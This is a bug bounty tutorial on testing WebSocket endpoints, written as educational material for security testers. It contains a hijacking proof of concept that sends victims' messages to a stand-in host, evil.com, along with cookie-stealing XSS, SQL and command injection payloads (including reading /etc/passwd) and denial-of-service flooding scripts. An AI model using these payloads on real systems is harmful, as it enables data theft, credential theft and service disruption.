Key Takeaways

Why WebSocket Security Testing Matters for Bug Bounty

WebSockets are everywhere — chat apps, trading platforms, dashboards, collaborative editors, notification systems. They maintain persistent bidirectional connections, which means they bypass many of the protections that HTTP request/response cycles enforce naturally. Most bug bounty hunters skip WebSocket endpoints entirely because their tools don't intercept them by default. That's exactly why they're worth testing.

How WebSockets Differ from HTTP

The WebSocket handshake starts as an HTTP Upgrade request:

GET /ws/chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com
Cookie: session=abc123

After the server responds with 101 Switching Protocols, the connection becomes a persistent full-duplex channel. Key security implications:

Finding WebSocket Endpoints

  1. Browser DevTools → Network tab → filter by "WS" — watch for WebSocket connections during normal app usage
  2. Burp Suite → WebSockets history tab — captures all WS traffic through the proxy
  3. Source code search — grep JavaScript for new WebSocket(, ws://, wss://, socket.io, SockJS
  4. Common paths: /ws, /websocket, /socket.io, /sockjs, /cable (ActionCable), /hub (SignalR)

Cross-Site WebSocket Hijacking (CSWSH)

This is the highest-impact WebSocket vulnerability and the one most commonly found in bounties. It's the WebSocket equivalent of CSRF.

How It Works

When a browser opens a WebSocket connection, it sends cookies automatically — just like any HTTP request. If the server relies solely on cookies for authentication and doesn't validate the Origin header, an attacker's page can open a WebSocket to the target and interact with it as the victim.

Testing for CSWSH

  1. Identify a WebSocket endpoint that uses cookie-based authentication
  2. Check if the server validates the Origin header:
// Attacker's page (hosted on evil.com)
const ws = new WebSocket('wss://target.com/ws/chat');

ws.onopen = () => {
  console.log('Connected — CSWSH likely exploitable');
  ws.send(JSON.stringify({action: 'get_messages'}));
};

ws.onmessage = (event) => {
  // Exfiltrate data
  fetch('https://evil.com/log', {
    method: 'POST',
    body: event.data
  });
};

If the connection succeeds from a different origin, the endpoint is vulnerable.

What to Check

Impact Escalation

Authentication and Authorization Bypass

Missing Authentication on WebSocket Endpoints

Many applications authenticate the HTTP endpoints but forget to authenticate the WebSocket upgrade:

# Test: Can you connect without any cookies/tokens?
websocat wss://target.com/ws/admin --no-close

If the connection succeeds and you receive data, the endpoint lacks authentication entirely.

Broken Authorization Between Channels

Applications with multi-tenant WebSocket systems often fail to enforce authorization:

// Subscribe to another user's channel
{"action": "subscribe", "channel": "user_notifications_12345"}

// Join another user's room
{"action": "join", "room": "private_room_admin"}

Test by connecting as User A, attempting to subscribe to User B's channels/rooms, and sending messages to channels you shouldn't have access to.

Token Leakage in WebSocket URLs

Some implementations pass auth tokens in the WebSocket URL:

wss://target.com/ws?token=eyJhbGciOiJIUzI1NiJ9...

This token appears in server access logs, proxy logs, browser history, and referrer headers if the page links elsewhere.

Message Injection Attacks

WebSocket messages are just data — if the server processes them without sanitization, all the classic injection attacks apply.

XSS Through WebSocket Messages

If WebSocket messages are rendered in the DOM without escaping:

{"type": "chat", "message": "<img src=x onerror=alert(document.cookie)>"}

This is especially common in chat applications, collaborative editing tools, real-time notification displays, and dashboard widgets that render user-supplied data.

SQL Injection Through WebSocket Messages

{"action": "search", "query": "test' OR 1=1--"}
{"action": "get_user", "id": "1 UNION SELECT username,password FROM users--"}

Server-Side Template Injection

{"action": "render_preview", "template": "{{7*7}}"}
{"action": "set_name", "name": "${7*7}"}

Command Injection

{"action": "ping", "host": "127.0.0.1; cat /etc/passwd"}

Rate Limiting and DoS

WebSocket connections often lack rate limiting because they bypass the HTTP request pipeline.

Message Flooding

import websocket
import json

ws = websocket.create_connection("wss://target.com/ws")

for i in range(10000):
    ws.send(json.dumps({"action": "search", "query": f"test{i}"}))

Connection Exhaustion

connections = []
for i in range(1000):
    try:
        ws = websocket.create_connection("wss://target.com/ws")
        connections.append(ws)
    except:
        print(f"Server stopped accepting at connection {i}")
        break

If the server doesn't limit concurrent connections per IP or per user, this can cause denial of service.

Smuggling and Protocol-Level Attacks

WebSocket Smuggling

Some reverse proxies handle WebSocket upgrades incorrectly, allowing request smuggling. Send a valid WebSocket upgrade request, then after the upgrade, send HTTP requests through the WebSocket tunnel. These requests may bypass proxy-level security controls (WAF, IP restrictions, authentication).

Downgrade Attacks

If the application supports both ws:// and wss://, all traffic on ws:// is plaintext — credentials, tokens, and messages are exposed to network-level attackers.

Socket.IO and Framework-Specific Testing

Socket.IO

Socket.IO is the most common WebSocket framework. It has its own protocol layer:

// Socket.IO handshake (HTTP long-polling first, then upgrade)
GET /socket.io/?EIO=4&transport=polling
GET /socket.io/?EIO=4&transport=websocket&sid=<session_id>

Test for:

SignalR

// SignalR negotiation
POST /hub/negotiate?negotiateVersion=1
// Then WebSocket upgrade to /hub?id=<connection_id>

Test for:

Tools and Setup

Burp Suite

OWASP ZAP

websocat

Command-line WebSocket client — essential for scripted testing:

# Connect and interact
websocat wss://target.com/ws

# With custom headers
websocat -H "Cookie: session=abc123" wss://target.com/ws

# Pipe input
echo '{"action":"test"}' | websocat wss://target.com/ws

Testing Methodology Checklist

  1. Discovery — Find all WebSocket endpoints (DevTools, source code, common paths)
  2. Authentication — Test if connections work without credentials
  3. Origin validation — Test CSWSH by connecting from a different origin
  4. Authorization — Test cross-user channel/room access
  5. Input validation — Fuzz message parameters for XSS, SQLi, command injection
  6. Rate limiting — Test message flooding and connection exhaustion
  7. Encryption — Check if ws:// (unencrypted) is accepted alongside wss://
  8. Token handling — Check for tokens in URLs, message leakage
  9. Framework-specific — Test Socket.IO namespaces, SignalR methods, ActionCable channels

Writing the Report

Title Format

"Cross-Site WebSocket Hijacking on /ws/chat Allows Reading Private Messages of Any User"

Key Elements

CVSS Considerations

Related reading: Bug Bounty Recon Workflow in 2026, XSS Hunting for Bug Bounty in 2026, SSRF Hunting for Bug Bounty in 2026, Authentication Bypass for Bug Bounty in 2026, HTTP Request Smuggling for Bug Bounty in 2026, API Security Testing in 2026

Advertisement